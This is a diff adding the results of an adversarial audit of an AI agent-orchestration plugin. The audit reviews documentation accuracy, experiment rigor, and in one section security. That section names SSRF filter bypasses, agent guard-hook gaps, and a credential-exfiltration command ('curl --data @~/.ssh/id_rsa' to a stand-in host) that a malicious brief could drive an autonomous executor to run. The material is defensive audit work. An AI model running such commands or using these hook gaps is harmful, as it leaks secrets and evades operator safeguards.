## Scale, models, cost
|
||||
~6 attack + 6 rebut + 1 synthesis ≈ **13 agents**. `effort: high` on attack + synthesis (adversarial reasoning); Opus is the default (inherit session model) — pure-retrieval sub-steps may drop to `sonnet`. **Before launching, announce the plan + rough agent count** so the operator sees the scope (Workflows are token-heavy).
|
||||
|
||||
## Success criteria (verifiseringsplikt)
|
||||
1. `docs/devils-advocate-results.md` written, with **≥1 finding per dimension**, each carrying `file:line` evidence and an explicit **STANDS / WEAKENED / REFUTED** verdict after the rebuttal pass.
|
||||
2. A synthesis that names which critiques are **REAL** (worth acting on, prioritized by severity × actionability) vs. **survived-as-fine**.
|
||||
3. A **"what this audit might have missed"** section (completeness critic).
|
||||
4. No finding asserted without evidence; rebuttals are genuine defenses, not strawmen.
|
||||
5. The audit critiques *this very plan* too (the dimensions may be wrong/incomplete — say so).
|
||||
|
||||
## Scope guard
|
||||
This is an **audit that produces findings + recommendations**, NOT an implementation session. Do **not** start changing Voyage based on the results without a fresh operator go-ahead. Stop at the results doc + a short summary.
|
||||
178
docs/devils-advocate-results.md
Normal file
178
docs/devils-advocate-results.md
Normal file
|
|
@ -0,0 +1,178 @@
|
|||
# Devil's-advocate results — adversarial cold audit of Voyage
|
||||
|
||||
**Run:** S14, 2026-06-18. **Method:** Dynamic Workflow (`Workflow` tool), 13 agents @ `effort: high`, Opus 4.8.
|
||||
**Shape:** 6 adversarial dimensions (D1–D6), each `attack` (strongest case AGAINST) → `rebut` (steelman defense → STANDS/WEAKENED/REFUTED) → 1 synthesis. ~905k subagent tokens, 9.3 min.
|
||||
**Plan:** `docs/devils-advocate-plan.md`. **Scope:** audit only — findings + recommendations, NOT an implementation session. Run ID `wf_4af87c2f-d4e`.
|
||||
|
||||
> **Read this caveat first.** This is a *cold, hostile* audit that was instructed to prove Voyage is over-engineered/wrong/unmaintainable, then to rebut itself honestly. Verdicts are the rebuttal pass's, not gospel. The audit caught a factual error in one of its OWN findings during rebuttal (D5 "0 refs" → REFUTED), which is a reminder that some cited `file:line` counts from the attack agents may be imprecise. I (main context) **independently re-verified** the load-bearing MAJOR claims — see the **Verification log** at the bottom. Everything else is reported as the audit found it.
|
||||
|
||||
---
|
||||
|
||||
## Bottom line (overall verdict)
|
||||
|
||||
**Voyage survives as a functioning, disciplined, but over-documented and under-measured plugin.** It is not fraudulent or broken. But its self-description is materially inaccurate, and its flagship value proposition is unproven where it was actually tested. The strongest honest charges are concentrated and cheaply fixable:
|
||||
|
||||
1. The README sells "cheap Sonnet swarms" while **every one of the 24 agents ships as Opus** — on a section marketed as "observable in the code, not aspirations."
|
||||
2. The headline counts are **stale by up to 6×** (109 vs 683 tests, 23 vs 24 agents, 5 vs 7 hooks) and unguarded by the doc-consistency test that exists to prevent exactly this.
|
||||
3. The **NW2 "POSITIVE" verdict** rests on a single un-archived bake-off whose raw per-run data was never committed and whose *primary* fidelity metric actually failed and was re-derived post-hoc.
|
||||
4. The **brief PUBLIC-CONTRACT framing defense is bypassable** by writing a smaller version number (`brief_version: 2.1`).
|
||||
|
||||
Against that, the plugin shows genuine engineering hygiene the attack under-credited: the dormant synthesis-agent is a clean *measured-and-declined prune-in-place* (the opposite of accretion); the EVALUATE-parked topology decisions are honestly staged, not frozen on a dead premise; the auto-mode classifier risk was *discovered-and-priced*, not ignored; and the framing BLOCKER **does** hard-fail even in soft mode.
|
||||
|
||||
**The deepest problem is not over-engineering — it is an unaudited scoreboard.** A plugin whose entire pitch is contract-conformance and filesystem-validated rigor cannot keep its own test count, agent count, model claims, and version references straight — and, tellingly, its author did not dogfood it on its own upgrade. **Ship-worthy machine; the docs need a truth-pass and the central context-engineering claim needs either a real measurement or a humbler sentence.** Crucially, the audit never tested whether the happy path produces *good plans* — the question that matters most remains open (see Blind spots).
|
||||
|
||||
---
|
||||
|
||||
## Survivors — ranked by severity × actionability
|
||||
|
||||
Critiques that **STAND** or are **WEAKENED-but-real** after the rebuttal pass. (Severity = residual after best defense.)
|
||||
|
||||
### MAJOR × HIGH actionability — fix first
|
||||
|
||||
| # | Finding | Dim | Verdict | Evidence (verified ✓) |
|
||||
|---|---------|-----|---------|----------|
|
||||
| 1 | **Cost claim is false by default.** README sells "Sonnet runs exploration/review swarms / front-loads cheap Sonnet work" in 6 places, but all 24 agents hardcode `model: opus` and `trekplan.md` concedes sub-agents are "still pinned to opus." Sold under "observable in the code — not aspirations." | D6/D1 | STANDS | README.md:195,223,266,785,804,857; all 24 `agents/*.md` `model: opus` ✓; trekplan.md:922,968 |
|
||||
| 2 | **README hard counts stale & unguarded.** Architecture block: 23 agents (actual **24**), 5 hooks (actual **7** scripts / 6 events), **109** node:test cases (actual **683**, a 6× miss on the line that pitches "npm test is the fork-readiness gate"). | D6 | WEAKENED | README.md:804,807,809 ✓; `npm test` = 683/681/2 ✓ |
|
||||
| 3 | **Bake-off data never committed.** NW2 "POSITIVE" cites a 6-run token/wall/finding table + jaccard ladder (0.41/0.71/0.86/1.00), but no per-run JSON (`a1.json`..`b3.json`) exists in repo or git history. `bakeoff-fidelity.mjs` requires them as input → the numbers cannot be regenerated, audited, or falsified. | D2 | STANDS | scripts/bakeoff-fidelity.mjs:17-19,98-101; docs/T2-bakeoff-results.md:131-135; f7c8aa4 stat |
|
||||
| 4 | **Self-reported test count wrong.** STATE.md:43 + the audit plan claim 697 (695 pass); runner reports **683 (681 pass, 2 skip)**. Same unaudited-self-description class the plugin's conformance discipline exists to catch. | D1/D6 | STANDS | STATE.md:43; `npm test` ✓ |
|
||||
| 5 | **Three reference-only orchestrator agents ship with an `Agent` tool grant** while their bodies declare "reference, not a runnable sub-agent" and no command invokes them. A harness could dispatch an agent the plugin says must never run. Trivial, untaken fix. | D4 | STANDS | agents/{planning,research,review}-orchestrator.md; review-orchestrator.md:226-227; trekreview.md:33 |
|
||||
| 6 | **`plan-critic` "9 dimensions" wrong in 3 places** (README.md:223,266; CLAUDE.md:46) — agent defines **10** numbered dimensions, the 10th a hard gate (manifest quality). Unpinned. | D6 | STANDS | agents/plan-critic.md:170 |
|
||||
| 7 | **README self-contradicts brief-reviewer dimension count:** README.md:158 says "five dimensions" while README.md:15 headlines the **6th** (memory alignment) as the v5.5 flagship; agent + CLAUDE.md say six. Exactly the consistency defect brief-reviewer exists to flag. | D6 | STANDS | README.md:15,158; agents/brief-reviewer.md:39,155; CLAUDE.md:42 |
|
||||
| 8 | **Stale model string in a live contract:** trekplan Phase 8 inline-sealing rationale cites "Opus 4.7" while the plugin elsewhere states opus = Opus 4.8. Sealing logic is sound; only the parenthetical is wrong. | D4 | STANDS | trekplan.md:574; CLAUDE.md:56 |
|
||||
| 9 | **PUBLIC-CONTRACT versioning cites a non-existent release:** HANDOVER-CONTRACTS.md:46,99 + CLAUDE.md:9 say "v5.4 froze the brief_version 2.1 baseline," but v5.2–5.4 were never shipped (CHANGELOG jumps 5.5.0→5.1.1). No consumer stranded (compat keys off `brief_version`), but a doc trading on contractual precision cites a release nobody can install. | D2 | WEAKENED | CHANGELOG.md:7-9,63; HANDOVER-CONTRACTS.md:46,99; CLAUDE.md:9 |
|
||||
|
||||
### MAJOR × MEDIUM/LOW — structural, need design not just edits
|
||||
|
||||
| # | Finding | Dim | Verdict | Evidence |
|
||||
|---|---------|-----|---------|----------|
|
||||
| 10 | **Framing enforcement is producer-elective.** All three `brief_version 2.2` framing layers are wrapped in `atLeast22`; there is **no** minimum-version gate (grep confirms); 2.0/2.1 briefs are blessed as fully valid. Any producer ships an intent-misaligned brief by declaring `2.1` and the entire framing defense evaporates with no warning. The contract advertises producer-agnostic enforcement but enforces only against the one producer (`/trekbrief`) that hardcodes 2.2. | D3 | STANDS | brief-validator.mjs:123-140; HANDOVER-CONTRACTS.md:101 |
|
||||
| 11 | **Memory-alignment gate is a no-op by default.** Score-5-on-no-context is indistinguishable to the Phase-4e gate from score-5-on-verified-alignment; whether memory is gathered is an unbacked LLM-judgment step with no validator backstop. In the common (memory-less / external-producer) case the gate always passes. Defensible as *portability* (fail-open), but a passing score is not evidence of alignment. | D3/D1 | WEAKENED | brief-reviewer.md:168-169; trekbrief.md:492-497,541-544 |
|
||||
| 12 | **Layer 1 framing value is self-attested, enum-validated only.** No cross-check against reality; its triangulation partner (Layer 2 memory) is inert in the no-memory case → framing is an unchecked assertion carried as pipeline source-of-truth. The "no default / unskippable" design blunts the tired-one-click vector but doesn't make the self-label true. | D3 | WEAKENED | trekbrief.md:114-130; brief-validator.mjs:110-116 |
|
||||
| 13 | **NW2 "POSITIVE" = +4.4% tokens, +54% wall-time, and the one cited upside ("frees main context") never measured.** The bake-off captured subagent tokens (the axis a coordinator-adding Workflow can only tie-or-lose); Δ main-context (the decision-relevant quantity) was left unmeasured. The +15% POSITIVE bar **was** pre-registered (so not goalpost-moved), but the win rests on unquantified benefit. | D1/D2 | WEAKENED | T2-bakeoff-results.md:152-170 |
|
||||
| 14 | **NW2 fidelity verdict salvaged post-hoc.** Pre-registered PRIMARY metric (triplet-level finding-set equivalence) scored **0/9** strict-equivalent, 0.41 jaccard; POSITIVE reached by reporting the looser (file,rule_key)=0.71, labeling the 0/9 a "metric-calibration artifact," then recommending future metrics use the coarser granularity that cleared. Within-arm control makes "artifact" plausible, but it was decided after seeing the result. | D2 | WEAKENED | T2-bakeoff-results.md:131-135,172-185; T2-cc27-workflow-substrate.md:170 |
|
||||
| 15 | **Context-Engineering flagship unproven where tested.** The one experiment (NW3) measured Δ main-context ≈ 0 and shipped dormant. The Δ=0 is real but narrowly scoped to delegating only the Phase-7 read; the actual fan-out relief — the claim that matters — was never measured. The swarm topology's central justification has no positive measurement behind it, only a structural argument + a declined experiment. | D1 | WEAKENED | T1-synthesis-poc-results.md:16-30,88-103 |
|
||||
| 16 | **Voyage was not used to build Voyage.** Much of the v5.5 arc was research/meta-work the pipeline doesn't target (blunts it), but genuinely pipeline-shaped code sub-tasks (armB script, synthesis schema, fidelity libs) were also hand-orchestrated. Revealed-preference signal for those is real. | D1 | WEAKENED | devils-advocate-plan.md:8; W1/T1/T2 docs |
|
||||
|
||||
### MINOR — cheap correctness / leanness nits
|
||||
|
||||
| # | Finding | Dim | Verdict | Evidence |
|
||||
|---|---------|-----|---------|----------|
|
||||
| 17 | **Prose-pin bloat.** `doc-consistency.test.mjs` (67 tests, ~9.5% of suite) is predominantly `.includes/.match` on free prose, churned across 26 commits, flips red on benign rewording. The structural sub-tests (row-count == file-count, command coverage) are genuine; the headline test-count over-credits coverage. | D5/D1 | WEAKENED | tests/lib/doc-consistency.test.mjs:1-6 |
|
||||
| 18 | **Chartered auto/bypass classifier check skipped.** "Classifier interference: 0" was reported satisfied, but the auto/bypass-mode re-run that W1 made an explicit guard was skipped on a technicality ("mode not settable in-session") and footnoted rather than gating. The mode that matters for headless trekreview remains untested. | D2 | STANDS | T2-bakeoff-results.md:146-149; W1-narrow-wins-plan.md:29-32 |
|
||||
| 19 | **NW3 decline dressed in pseudo-quant scaffolding.** The faithful Δ≈0 is genuinely *structural* (holds with no tokenizer), but it is surrounded by a sweep table + break-even + a "15% adopt-floor" that contradicts the plan's 30% bar, over a chars/4 estimate with a swept (never API-measured) BASE. Conclusion sound, scaffolding inconsistent. | D2 | WEAKENED | synthesis-measure.mjs:41-42; T1-synthesis-poc-results.md:12-14,94; W1-narrow-wins-plan.md:17 |
|
||||
| 20 | **Experiment scaffolding outlived its experiment.** 5 of 7 `scripts/` (~89KB, incl. `synthesis-measure.mjs` for the declined agent) are one-off PoC/measurement code on no command path, each referenced only by its own test, carrying 27 live tests. Partly defensible as reproducibility artifacts; the global continuity convention says such history belongs in git. | D5 | WEAKENED | scripts/synthesis-measure.mjs:2-3; tests/scripts/synthesis-measure.test.mjs |
|
||||
| 21 | **CHANGELOG cross-doc wart.** CHANGELOG.md:440 advertises "711 pass … +5 Playwright e2e" while README.md:595 documents Playwright e2e as removed in v5.0.0. (The "no number matches reality" framing was refuted — historical snapshots legitimately diverge from HEAD.) | D6 | WEAKENED | CHANGELOG.md:440; README.md:595 |
|
||||
|
||||
---
|
||||
|
||||
## REFUTED — critiques that did NOT survive the rebuttal
|
||||
|
||||
These are recorded so they are not re-litigated. Each was a plausible attack that the defense (and, where noted, my own check) genuinely defeated.
|
||||
|
||||
1. **"8 of 14 docs are dead scratch; the decision-matrix has 0 inbound refs" (D5).** *False on its lead exhibit.* `cc-upgrade-2.1.181-decision-matrix.md` has **9** inbound refs incl. three production command files (trekplan, trekbrief, trekresearch) + three orchestrator agents + CHANGELOG — the *most*-referenced of the eight. Only `devils-advocate-plan.md` (the just-created S14 plan) cleanly matches "0 inbound." A much smaller "a couple of decision docs could move to git" survives at MINOR.
|
||||
2. **"Orchestrator descriptions assert the FALSE premise as STANDING rationale" (D4).** The descriptions frame it as *discharged history* in the same sentence-group ("Historically… As of CC 2.1.172 sub-agents CAN spawn…, so a redesign is under evaluation") — exactly what CC-01 prescribed (replace with truth + forward pointer). A dispatching model is steered *away* from spawning, not toward the falsehood. The duplication is a real but MINOR doc-style critique (→ became survivor #5's narrower form).
|
||||
3. **"The dormant synthesis-agent is ceremony spent on sand" (D1/D5).** It is the strongest *counter*-example: built → measured (Δ≈0) → found NEGATIVE → deliberately not wired, with a stated re-activation trigger and a schema-backed, tested contract. Disciplined negative-result hygiene. The residual (it still ships in the distributable, inflating counts) is a MINOR leanness nit.
|
||||
4. **"The auto-mode classifier is a NEW liability the plugin is trading into" (D4).** Inverts the evidence: the plugin *discovered and logged* the risk via a cheap probe in a path it has **not** adopted, priced it as a cost against delegation, and declined the trade. Verification discipline, not a hidden liability.
|
||||
5. **"Soft-mode read means framing/TL;DR add no enforcement at the boundary" (D3).** Refuted *for framing specifically*: `BRIEF_MISSING_FRAMING` is pushed **unconditionally** to `errors[]` (no strict/soft branch), and soft mode means "warnings don't block, errors DO" — so a 2.2 brief missing framing hard-fails even in soft read. (The broader "external 2.0/2.1 producer gets nothing" point survives as survivor #10.)
|
||||
6. **"No published test count matches reality" (D6/D2).** Half-refuted: a CHANGELOG is an append-only point-in-time log; historical snapshots (503/516/518/608/711) *correctly* diverge from current 683. The genuine residual is the narrow Playwright cross-doc contradiction (→ #21).
|
||||
7. **"NW2's +15% bar was set AFTER the run to make a tie pass" (D2).** The +15%/+30% thresholds were pre-registered before the run, which predicted token cost "≈ wash." Not a moved goalpost. What survives is the distinct, separately-filed point that the cited upside was never *quantified* (→ #13).
|
||||
|
||||
---
|
||||
|
||||
## Top changes — prioritized
|
||||
|
||||
1. **FIX THE COST CLAIM** (MAJOR × HIGH). Either flip exploration/review agent frontmatter to `model: sonnet` (makes the README true by default — the cheaper fix a cost-conscious user expects) **or** rewrite the 6 README claims to state Opus-by-default and Sonnet requires `--profile economy` / `phase_signals.model`. Add a doc-consistency pin that fails if README says "Sonnet exploration" while agent files say opus.
|
||||
2. **FIX THE HARD COUNTS** (MAJOR × HIGH). README → 24 agents / 7 hooks / 683 tests; correct STATE.md 697→683 and the plan's 697. Add doc-consistency pins for agent-count, hook-script-count, and a tolerance-banded or dynamically-computed test-count so the Architecture block cannot silently drift.
|
||||
3. **COMMIT OR DOWNGRADE THE BAKE-OFF DATA** (MAJOR × HIGH). Commit the raw arm outputs (`a1.json`..`b3.json`) under `tests/fixtures/bakeoff-rich/runs/` + a test that re-derives the medians/jaccards — or relabel "POSITIVE" to "defensible as opt-in, single un-archived run."
|
||||
4. **ADD A MIN-VERSION GATE OR DOCUMENT THE HOLE** (MAJOR × MEDIUM). Optional `--min-brief-version` at the `/trekplan` + `/trekresearch` boundary (warn when an older brief sidesteps framing); document in HANDOVER-CONTRACTS.md that pre-2.2 briefs receive zero framing enforcement.
|
||||
5. **MAKE THE MEMORY GATE HONEST** (MAJOR × MEDIUM). Emit a `memory_alignment.status` distinguishing "N/A (no memory)" from "verified aligned"; document that in memory-less environments the wrong-premise defense is Layer 1 + Layer 3 only.
|
||||
6. **STOP OVERSELLING THE FLAGSHIP** (MAJOR × MEDIUM). Either measure the fan-out's real main-context relief with a tokenizer/API run, or soften README/CLAUDE.md to "asserted, not yet measured." Relabel NW2 from POSITIVE to opt-in-defensible and disclose its primary fidelity metric failed and was re-derived post-hoc.
|
||||
7. **CHEAP CORRECTNESS NITS** (MINOR × HIGH). Drop the `Agent` grant from the three reference-only orchestrator agents; `plan-critic` 9→10 dimensions; README brief-reviewer 5→6 dimensions; trekplan "Opus 4.7"→"4.8"; replace the non-existent "v5.4" contract-freeze references with "v5.5.0."
|
||||
8. **PRUNE PROSE-PIN BLOAT** (MINOR × MEDIUM). Keep the structural cross-file invariant tests; prune pure phrase-pins that break on reword; report behavior-test count separately from prose-pin count.
|
||||
9. **RUN THE CHARTERED AUTO/BYPASS CLASSIFIER CHECK** (MINOR × MEDIUM) before treating classifier interference as retired — or move it from "metric satisfied" to "open residual."
|
||||
|
||||
---
|
||||
|
||||
## What this audit might have missed (completeness critic)
|
||||
|
||||
The audit was instructed to critique its own plan. It did:
|
||||
|
||||
1. **The 6 dimensions are introspection-biased.** D1/D2/D4 all interrogate the v5.5 self-measurement arc (synthesis, bake-off, decision matrix) and **overlap massively** — three dimensions largely re-attack the same NW2/NW3/CC-26/27 docs. This over-weights recent meta-work and **under-weights the product surface a user actually touches.** There is no dimension auditing whether the **core happy path** (`/trekbrief → /trekplan → /trekexecute` on a real feature) produces correct, useful plans/code. *The audit proved the docs are inconsistent and the experiments were narrow — but never tested whether the pipeline WORKS end-to-end. That is the question a prospective user cares about most, and it remains open.*
|
||||
2. **No security / safety dimension.** This plugin spawns autonomous agents, has `--gates` autonomy primitives, OTLP export with stated SSRF mitigation, and hooks that gate Bash/Write. None was audited for actual safety (does the SSRF mitigation work? do the pre-bash/pre-write hooks actually block? can a malicious brief drive headless execution?). For an autonomous-execution plugin, the **highest-consequence blind spot.**
|
||||
3. **No empirical cost measurement.** The entire cost debate (D1/D6) was argued from frontmatter strings and README prose, never from the `trek*-stats.jsonl` the plugin itself publishes. The single most decision-relevant number (what one `/trekplan` run actually costs on Opus vs Sonnet) was never pulled from real run data — so the cost critiques remain *inferential*.
|
||||
4. **The audit accepted the plugin's own metrics** (Δ main-context, jaccard, verdict-match) as the terms of debate, then critiqued within them. It never asked: are these the right metrics at all? **Plan quality** (does the adversarial review catch real bugs?) was never measured by anyone — the whole value proposition is *assumed* by both attack and defense.
|
||||
5. **Trust in unverified citations.** Refuted/weakened verdicts were taken largely on trust where the agents couldn't independently re-verify every line. The D5 "0 refs" error that was caught suggests other cited counts may also be imprecise. (Main context independently re-verified the load-bearing MAJORs — see below — but not all ~1672 lines of trekexecute or every cited doc line.)
|
||||
6. **No user-facing ergonomics / onboarding dimension.** 7 commands, 24 agents, 14 docs, a profile system, `--gates`, brief_version axes — the cognitive load on a new operator is itself a product risk that revealed-preference (the author used bespoke docs) hints at, but the plan never made first-class.
|
||||
7. **The audit conflates "documentation defect" with "product defect" throughout.** Most MAJOR survivors are doc-accuracy issues — real and cheap to fix, but the plan never separated "the docs lie" from "the machine is broken," leaving the genuinely important question (is the runtime sound?) unanswered.
|
||||
|
||||
---
|
||||
|
||||
## Verification log (Verifiseringsplikt)
|
||||
|
||||
**Independently re-verified by main context this session (not taken on the agents' word):**
|
||||
|
||||
| Claim | Method | Result |
|
||||
|-------|--------|--------|
|
||||
| Test count is 683/681/2, not 697/695/2 | `npm test` (full run) | ✓ **683 tests, 681 pass, 0 fail, 2 skipped** — STATE.md:43 + plan are wrong |
|
||||
| All exploration/review agents are Opus, none Sonnet | `grep -h "^model:" agents/*.md \| sort \| uniq -c` | ✓ **24 `model: opus`, 0 `sonnet`** |
|
||||
| Agent file count is 24 (README says 23) | `ls agents/*.md \| wc -l` | ✓ **24** |
|
||||
| README sells "Sonnet" exploration/review | `grep -n Sonnet README.md` | ✓ lines **195, 223, 266, 785, 857** + 804 "(sonnet for exploration + review…)" |
|
||||
| README hard counts stale | `grep -nE "specialized agents\|node:test\|hooks" README.md` | ✓ **804** "23 specialized agents", **807** "5 hooks", **809** "109 node:test cases" |
|
||||
|
||||
**Taken from the workflow agents, spot-checked but NOT exhaustively re-read by main context:** the internal `file:line` citations in `docs/T2-bakeoff-results.md`, `docs/T1-*`, `lib/validators/brief-validator.mjs` (the `atLeast22` guard + unconditional `BRIEF_MISSING_FRAMING`), `agents/brief-reviewer.md`, `commands/trekbrief.md`, and the absence of `a1.json`..`b3.json` in git history. These are reported as the audit found them; they are consistent with the verified anchors above but were not each independently confirmed line-by-line.
|
||||
|
||||
**Known imprecision:** the attack agent for D5 asserted `cc-upgrade-2.1.181-decision-matrix.md` has "0 durable refs"; the rebuttal pass found **9** and REFUTED it. Treat raw counts inside individual attack findings with that caution.
|
||||
|
||||
---
|
||||
|
||||
## Scope note
|
||||
|
||||
This is an **audit** — findings + recommendations only. Per the plan's scope guard and the operator's run mode, **no Voyage code or docs were changed** on the basis of these results (the one exception: STATE.md's stale `697` test count is corrected at session end, since STATE is continuity state, not plugin surface, and propagating a now-verified-wrong number would be its own defect). Acting on the top changes above requires a fresh operator go-ahead.
|
||||
|
||||
---
|
||||
|
||||
## Addendum — post-audit verification of finding #1 (2026-06-18, operator-prompted)
|
||||
|
||||
The operator challenged finding #1 ("README sells cheap Sonnet but agents are opus"), correctly recalling that Voyage has a **per-phase model-selection system** (profiles + `phase_signals.model`). Main context verified the actual model-resolution path against the code. Result: **the operator's recollection is right, the finding still STANDS, and verification surfaced a NEW defect the audit missed.**
|
||||
|
||||
1. **The per-phase system is real.** `lib/profiles/resolver.mjs#resolveProfile()` + `phase-signal-resolver.mjs` resolve a model per *phase* (= command). At Agent-spawn sites, the resolved phase model is used if set; otherwise the agent's `model: opus` frontmatter (trekplan.md "Cost" hard rule). The model is **uniform per phase** (orchestrator + swarm share it) — there is **no** mechanism to run the orchestrator on opus and the swarm on sonnet within one phase, so the README cost-prose's "Opus orchestrates / Sonnet runs the swarms" split is **not an achievable configuration**, independent of the count defect.
|
||||
|
||||
2. **No default profile makes exploration/review Sonnet.** `balanced` and `premium` both set `plan → opus` and `review → opus` (verified: `lib/profiles/balanced.yaml`, `premium.yaml`). Only opt-in `economy` sets `plan/review → sonnet`. So under every *default*-candidate profile the exploration AND review swarms run on **Opus**. README's unconditional "6–8 Sonnet exploration agents" / "Sonnet runs the exploration and review swarms" (195/223/266/785/857) is false for every default. **Finding #1 STANDS and is reinforced.**
|
||||
|
||||
3. **NEW defect (audit missed it): code default profile ≠ documented default.** `resolveProfile()` returns `{ profile: 'premium', profile_source: 'default' }` (resolver.mjs:156; docstring: "Order: --profile flag > VOYAGE_PROFILE env > 'premium'"). But README.md:759 ("`balanced` (default)") + the lookup-order list + `docs/profiles.md:15,18,121` ("`balanced` is the v4.1 default", "the default tier is locked") all say the default is **`balanced`**. **Code says premium; all docs say balanced** — a real code-vs-docs contradiction with cost/behavior impact (premium runs brief+execute on opus and turns external research ON; balanced does not), unguarded by `doc-consistency.test.mjs`. Severity: **MAJOR**. Most likely resolution: docs reflect design intent (balanced), so the code default is the bug — but confirm against git history before fixing.
|
||||
|
||||
**Corrected fix for finding #1 (supersedes "flip vs rewrite"):** (a) resolve the default-profile mismatch so code + README + `docs/profiles.md` agree on one default (likely `balanced`); (b) rewrite the README cost narrative to describe the *actual* per-phase-profile mechanism (default runs plan/review on Opus; `economy` runs all-Sonnet; no orchestrator-vs-swarm split); (c) add doc-consistency pins for the default-profile name and the per-phase model claims. This keeps Opus-as-default and does **not** require flipping any agent frontmatter.
|
||||
|
||||
---
|
||||
|
||||
## S21 resolution — Blind spot #2 (security/safety) audit (2026-06-19, operator-gated)
|
||||
|
||||
Blind spot #2 ("no security / safety dimension") was the audit's self-named highest-consequence gap. Operator scope for this session was **security-core**: fix genuine defects, honestly record the rest. The four sub-questions and their dispositions:
|
||||
|
||||
| # | Question | Verdict | Disposition |
|
||||
|---|----------|---------|-------------|
|
||||
| 1 | **Does the SSRF mitigation work?** | ⚠️ one real, bounded bug | Literal-encoding bypasses I first suspected (decimal `2130706433`, hex `0x7f000001`, octal, trailing-dot `127.0.0.1.`) are **already caught** — the WHATWG `URL` parser canonicalizes them to dotted-decimal before `validateOtlpEndpoint` classifies. The genuine gap: **IPv4-mapped IPv6 literals** (`::ffff:127.0.0.1`, `::ffff:192.168.x`, `::ffff:169.254.169.254`) render as `::ffff:HHHH:HHHH` and were matched by neither the loopback set, the RFC-1918 regex, link-local, nor `HARD_BLOCKED_HOSTS` → they passed over https and would reach loopback / private / **cloud-metadata**. The control's own comment promised to "PERMANENTLY block" metadata; the mapped form defeated it. **FIXED** (see below). |
|
||||
| 2 | **Do pre-bash / pre-write hooks actually block?** | ✅ yes, for their target patterns | `bash-guard` + `path-guard` tests confirm every BLOCK rule fires. **Verified residuals (by design — advisory rails, `fail-open`, defense-in-depth, NOT a security boundary):** (a) `pre-write-executor` is wired to `matcher: "Write"` only — `Edit` / `NotebookEdit` and `echo >> ~/.zshrc` via Bash bypass it (Edit can only modify pre-existing sensitive files, not create them; Bash-redirect is the larger hole); (b) `pre-bash-executor` regexes have completeness gaps (e.g. `rm -rf --no-preserve-root /` slips the `rm`-pattern). Not fixed: closing every regex/tool gap is an unbounded rabbit hole, and CC's own per-Bash permission prompt is the primary gate; these hooks are the second layer. |
|
||||
| 3 | **Can a malicious brief drive headless execution to harm?** | ✅ catastrophe-blocked, exfil NOT blocked | The hooks stop catastrophic *local destruction* (`rm -rf /`, `mkfs`, fork bombs, raw-device writes). They do **not** prevent *data exfiltration* — `curl --data @~/.ssh/id_rsa https://evil.example` is not a blocked pattern. This requires the operator to accept a malicious brief **and** run it headless (no human gate). Documented as an inherent limit: a regex-hook layer cannot fully sandbox an autonomous executor. No code change. |
|
||||
| 4 | **Chartered auto/bypass classifier check (Survivor #18)** | 📝 honest-residual recorded | The W1 charter made an `auto`/`bypass`-mode re-run an explicit guard (trekreview runs headless under those modes); the T2 bake-off skipped it on a true technicality (permission mode is operator-set, not settable in-session) and footnoted rather than gating. Per recommendation #9, **moved from "metric satisfied" → "open residual"** in `T2-bakeoff-results.md §3` (guarded by a new `doc-consistency` pin). Not runnable from this interactive session; stays open until measured from a genuinely headless run. |
|
||||
|
||||
**Code fix (finding #1).** `lib/exporters/endpoint-validator.mjs`: added `mappedV4(host)` — after IPv6 bracket-strip, an IPv4-mapped literal (`::ffff:a.b.c.d` dotted **or** `::ffff:HHHH:HHHH` hex-pair) is decoded to its embedded dotted-decimal IPv4, and every guard (loopback / RFC-1918 / link-local / `HARD_BLOCKED`) classifies on **that**. TDD: 4 new tests in `tests/hooks/otel-export-validators.test.mjs` (failing-first) — mapped loopback → `LOOPBACK_REJECTED`, mapped RFC-1918 → `RFC1918_REJECTED`, mapped metadata → `HARD_BLOCKED` (even with `VOYAGE_OTEL_ALLOW_PRIVATE=1`), and mapped **public** `::ffff:8.8.8.8` still valid over https (no over-block). Threat model remains narrow (endpoint is operator-set via `VOYAGE_OTEL_ENDPOINT`; export is opt-in via `VOYAGE_EXPORT_MODE`, default `off`; a brief cannot set env) — the fix closes a control under-delivering its documented contract, not a brief-reachable hole.
|
||||
|
||||
**Forward-pointer (FLAGGED, NOT done — adjacent doc/code defect found while auditing the autonomy surface; this is S21b, not S21 security-core):** `operations.md:15` claims `autonomy-gate.mjs` runs the state machine `idle → approved → executing → merge-pending → main-merged`; the actual code states are `idle → gates_on/auto_running → paused_for_gate → completed`, and the `--gates {open|closed|adaptive}` table doesn't match the boolean (`--gates true|false`) the CLI shim and command docs use. Recommend a truth-pass + anti-false-claim pin in a follow-up session.
|
||||
|
||||
---
|
||||
|
||||
## S22 resolution — Blind spot #1 + #4 (happy-path plan quality + review efficacy) (2026-06-19, operator-gated)
|
||||
|
||||
Blind spots #1 ("the audit never tested whether the happy path produces *good plans*") and #4 ("plan quality — does the adversarial review catch real bugs? — never measured by anyone") were the audit's self-named highest-value open questions. S22 measured them by **dogfooding `/trekplan → /trekexecute`** on a real, small Voyage feature (`voyage-doctor`, a project-coherence validator) against a **pre-registered ground-truth scorecard committed before the run**. Full record + verification log: **`docs/S22-happy-path-dogfood.md`**.
|
||||
|
||||
**Verdicts.** Q1 (plan quality): the happy path produces a high-quality, executable plan — execute succeeded (15/15 new tests, full suite green, CLI works) — **but not a self-sufficient one**: plan-critic scored it C (71) vs the planner's self-score B+ (88), and 3 majors had to be fixed before a clean execute. Q4 (review efficacy): **demonstrated — the adversarial review caught 3 real majors the Opus-4.8 planner + 7-agent swarm genuinely missed** (an underspecified `research/`-dir path, an untested top-risk, a name contradiction), none planted, **none in the pre-registered oracle** — the defects lived in plan→execute handoff fidelity, which neither planner nor pre-registrar anticipated. scope-guardian returned ALIGNED (all SC/NG verified).
|
||||
|
||||
**Honest caveats (do not over-claim):** (1) **n = 1**, one small feature in a domain the planner knew well; (2) the pre-registration was committed *into the explored repo*, so the Phase-5 swarm **read the oracle** (R1–R7 leaked) — robustly caveated, and the Q4 finding survives because the caught defects were *outside* R1–R7; (3) **no token/$ measurement** (Blind spot #3 still open); (4) the `voyage-doctor` code worked but was **discarded per scope** (deliverable = measurement).
|
||||
|
||||
**Pipeline defects the dogfood surfaced (NEW — the S14 audit never ran the pipeline):**
|
||||
1. **MAJOR — `/trekplan` Phase 9 dedup is broken as documented.** plan-critic + scope-guardian are told to "write JSON to `/tmp/…out.json`" for `plan-review-dedup.mjs`, but both agents' frontmatter grants only `Read/Glob/Grep` — no `Write` — so the files are never created and the dedup step cannot run. Fix: grant the reviewers `Write`, or have the orchestrator persist their returned JSON before the dedup call.
|
||||
2. MINOR — plan template emits `plan_version` as prose; `plan-validator` warns `PLAN_NO_VERSION` (template/validator mismatch).
|
||||
